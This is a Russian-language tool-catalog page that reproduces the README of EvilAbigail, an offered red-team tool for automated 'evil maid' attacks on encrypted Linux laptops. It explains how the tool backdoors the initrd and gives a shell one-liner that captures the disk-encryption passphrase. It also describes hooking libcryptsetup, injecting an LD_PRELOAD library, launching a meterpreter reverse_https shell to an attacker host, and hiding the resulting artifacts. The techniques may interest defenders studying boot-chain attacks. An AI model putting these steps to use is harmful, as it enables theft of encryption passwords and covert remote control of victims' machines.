Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EvilAbigail — Автоматизированная атака типа "злая горничная" на Linux | Kitploit
Инструменты/GitHubGitHub/strozfriedberg/evilabigail
Повышение привилегийАтаки на ПаролиЭксплуатацияПост-эксплуатацияRed TeamingРазработка Полезной Нагрузки
GitHubstrozfriedberg/evilabigail

EvilAbigail

Автоматизированная атака типа "злая горничная" на Linux

Репозиторий
4357710 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Атака на зашифрованную корневую ФС через initrd

EvilAbigail

Сценарий

  • Ноутбук оставлен выключенным с включенным FDE
  • Атакующий загружается с USB/CD/Сети
  • Сценарий выполняется и внедряет бэкдор в initrd
  • Пользователь возвращается к ноутбуку, загружается как обычно
  • Заражённый initrd загружает:
    • (Debian/Ubuntu/Kali) файл .so в /sbin/init при загрузке, открывая оболочку
    • (Fedora/CentOS) LD_PRELOAD .so в DefaultEnviroment, загружается глобально, открывая оболочку.

Поддерживаемые дистрибутивы

  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

Текущие возможности

  • python/meterpreter/reverse_https для компиляции времени LHOST
  • Пароль расшифровки FDE хранится в окружении meterpreter (getenv PASSWORD)

Подробности

Компиляция

Смотрите Makefile для получения дополнительной информации/конфигурации, LHOST требуется в окружении для сборки .so, так как msfvenom передаётся через конвейер во время компиляции. Также необходимо иметь libcrypsetup-dev (или эквивалент) установленным на сборочной машине.

Общие инструкции (создаёт iso-образ в текущей рабочей директории): LHOST=192.168.56.101 make rev.so iso

isolinux.cfg

К загрузке ядра были добавлены следующие параметры:

mc superuser nodhcp quiet loglevel=0

Кроме того, значение prompt установлено в 0 для обеспечения полностью автоматизированного выполнения.

Время

Примерное время от вредоносной загрузки до внедрения бэкдора: ~2 минуты Примерное время от легитимной загрузки до оболочки ~90 секунд (настраивается, мы хотим, чтобы сеть была поднята до нас)

Предварительные требования

core.d — это распакованный core.gz из TinyCore с нижеперечисленными пакетами.

Core-current — это распакованный Core-current.iso

Следующие пакеты были установлены внутри tinycore (python, поддержка файловых систем):

  • bzip2-lib.tcz
  • filesystems-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

Добавление новых сигнатур

Минимальная сигнатура выглядит следующим образом:

root@kitploit:~
"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS — уникальное имя для этой ОС.
  • IDENTIFIER — команда оболочки, которая возвращает код выхода 0 при запуске на правильном initrd и !0 для всего остального.
  • ROOT — полный путь или переменная, куда монтируется новый корень после расшифровки.
  • FILENAME — полный путь для размещения нашего бинарного файла на корневой ФС. Убедитесь, что вы знаете, что монтирует initrd и что монтируется позже.
  • INITRDFILENAME — полный путь бинарного файла внутри initrd. Этот файл копируется в Makefile (cp ... core.d/...), поэтому он должен соответствовать этому.

После этого каждая тройка *FILE, *PRE, *POST выполняется над initrd как re.sub (например, re.sub(*PRE, *POST, *FILE)). Содержимое *PRE и *POST расширяется с помощью .format(**config[detectedOS]), так что не стесняйтесь расширять свою сигнатуру для внедрения элементов.

Нет ограничения на количество замен, которые можно выполнить.

Примечания

  • \\1 будет расширяться до полного содержимого совпадения (*PRE) при использовании внутри замены (*POST).
  • Будьте осторожны с: | $

Суть

Полезная нагрузка (payload)

Полезная нагрузка metasploit python/meterpreter/reverse_https была выбрана, потому что она более независима от платформы, чем полезные нагрузки linux/*/meterpreter/reverse_tcp. python, похоже, установлен по умолчанию на всех протестированных системах.

По умолчанию полезная нагрузка генерируется во время компиляции и передаётся в .c файл как #define. Это упрощает итерации, но не должно быть сложно сохранить полезную нагрузку и вставить её вручную.

На основе Debian (Debian, Ubuntu, Kali)

Внедрение оболочки

Системы на основе Debian (Debian, Ubuntu и т.д.) используют стандартный сжатый gzip образ cpio в качестве initramfs. Он содержит стандартный скрипт /init, который подготавливает систему к полной загрузке. Это включает запрос пароля у пользователя и монтирование зашифрованной корневой ФС.

Для внедрения нашего .so мы ждём, пока корневая файловая система не будет смонтирована (то есть после того, как у пользователя запросили пароль), и копируем .so в файловую систему /dev. Файловая система /dev была выбрана, так как она доступна непосредственно перед переключением rootfs и является монтированием на основе RAM. Это означает, что наш .so не коснётся диска.

Чтобы фактически использовать внедрённый .so, мы затем используем переменную окружения LD_PRELOAD при вызове switch_root. Эта переменная передаётся всем дочерним исполняемым файлам, и, таким образом, финальный скрипт /sbin/init будет иметь загруженный модуль. Чтобы сохранить это относительно незаметно, мы проверяем, загружены ли мы в /sbin/init, и если да, то сбрасываем переменную LD_PRELOAD и удаляем .so. Эту функциональность можно легко отключить, если мы хотим перехватывать конкретные приложения.

Чтобы принудительно выполнить .so, по умолчанию после загрузки мы используем флаг gcc -Wl,-init,shell, где shell — наша основная функция. Это указывает, какую функцию мы хотим вызвать при инициализации .so. Думайте об этом как об аналоге Windows' DllMain.

Кража пароля

Часть скрипта init, отвечающая за запрос пароля у пользователя и монтирование корневой файловой системы, выглядит следующим образом:

scripts/local-top/cryptroot:

root@kitploit:~
if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

Важная часть для нас — это где вывод $cryptkeyscript передаётся через конвейер в $cryptcreate. $cryptkeyscript — это запросчик пароля, а $cryptcreate — монтировщик диска. Этот конвейер делает атаку очень лёгкой. Мы вставляем следующий код в место конвейера, чтобы записать пароль в конец нашего .so:

(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)

Это прочитает пароль в переменную $P, и запишет его в конец .so, и снова выведет его. Этот код будет прозрачным для $cryptkeyscript и $cryptcreate, но будет иметь побочный эффект — эксфильтрацию пароля. Мы используем \\\\\\\\x00, чтобы добавить нулевой байт (учитывая множество уровней экранирования оболочки) перед паролем. Это значительно упрощает чтение пароля нашим .so, так как ему нужно просто читать назад от своего конца, пока не встретит нулевой байт.

Чтобы предоставить этот пароль атакующему, он используется как переменная окружения при вызове полезной нагрузки. Это означает, что атакующий может просто использовать команду meterpreter getenv PASSWORD для получения пароля.

Артефакты

Из-за способа загрузки .so будут ссылки на него как в /proc/1/maps, так и в /proc/1/environ.

Файл maps — это список загруженных модулей. Следующий фрагмент показывает содержимое этого файла. Обратите внимание на (deleted), что может вызвать подозрения. Однако, в отличие от обычных бинарников, невозможно получить доступ к .so без прямого извлечения из памяти после его удаления.

root@kitploit:~
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)

Файл environ — это разделённый нулями (NULL) список переменных окружения на момент вызова. Поскольку он с момента вызова, это означает, что любые изменения, внесённые нами во время выполнения (сброс LD_PRELOAD), не будут отражены.

В обоих этих случаях, поскольку мы можем быть перехвачены в любые системные процессы, мы могли бы просто перехватить функцию read(2) и удалить все ссылки на себя.

Kali

Kali — это особый случай. У него есть цепной cpio, как упоминалось ниже, но он не использует systemd для загрузки. В связи с этим правило ОС DRACUT было обобщено таким образом, что оно извлекает вслепую, а затем второе обнаружение ОС ловит Kali.

Если вы добавите ОС с cpio, содержащим только kernel/x86/microcode/GenuineIntel.bin, правило IDENTIFIER должно быть для добавленного cpio, так как мы автоматически найдём и извлечём его.

На основе Redhat (Fedora, CentOS)

Эти системы имеют другой формат образа initrd по сравнению с системами на основе Debian. Файлы initrd, хранящиеся в /boot, представляют собой почти пустой архив cpio, к которому добавлен сжатый gzip архив cpio. Этот второй архив содержит initramfs. Чтобы распаковать этот второй архив, необходимо разобрать первый архив cpio, чтобы найти конец. В качестве альтернативы можно найти строку TRAILER!!! и читать дальше, пока не найдёте магию gzip (\x1f\x8b).

Ещё одно отличие этих систем в том, что они основаны на systemd, и поэтому исполняемый файл /init в initramfs является симлинком на бинарник systemd, а не простым скриптом sh. Чтобы обойти это ограничение, необходимо изменить .service файлы, связанные с монтированием корневой файловой системы.

Файл usr/lib/systemd/system/initrd-switch-root.service содержит скрипт, используемый для переключения на только что расшифрованный корень. С помощью прагмы ExecStartPre можно выполнить другие программы до начала переключения.

SELinux присутствует на CentOS, ограничивая использование LD_PRELOAD. Один рабочий путь — /lib. Он был найден чтением файла /etc/selinux/targeted/modules/active/file_contexts в поисках местоположения с меткой system_u:object_r:lib_t.

Внедрение оболочки

Поскольку systemd вызывает clearenv() перед переключением корня, наша переменная LD_PRELOAD стирается. Чтобы обойти это, мы можем перехватить clearenv() и всегда заменять окружение только на LD_PRELOAD. Однако для этого нужно быть PID 1 внутри initrd. Это сложнее, так как невозможно сделать LD_PRELOAD в этот процесс. Чтобы обойти это, мы заменили /init скриптом bash следующим образом:

root@kitploit:~
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd

Это работает, потому что /init — это просто симлинк на /usr/lib/systemd/systemd. exec используется, чтобы процесс сохранил родительский PID (1).

Как только это реализовано и clearenv() нейтрализован, становится возможным установить LD_PRELOAD для настоящего pid 1 внутри нового корня.

Кража пароля

systemd обрабатывает пароли для зашифрованных файловых систем совершенно иначе, чем init-скрипты на основе Debian. Пароли передаются через Unix-сокеты, которые позволяют отправлять учётные данные. Чтобы обойти эту сложность, самый простой метод, который мы нашли для доступа к паролю, — это перехват функции crypt_activate_by_passphrase из libcryptsetup. Соответствующие части объявления функции выглядят следующим образом:

root@kitploit:~
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);

Чтобы получить доступ к паролю, мы просто перехватываем эту функцию, сохраняем passphrase в файл и вызываем оригинальную функцию, полученную через dlsym(RTLD_NEXT, ...). Как и выше, мы добавили наш пароль в .so, чтобы он мог разобрать себя и сделать пароль доступным для meterpreter.

Артефакты

Как и выше, .so отображается в /proc/1/maps, /proc/1/environ и выводе ps.

Скачать инструмент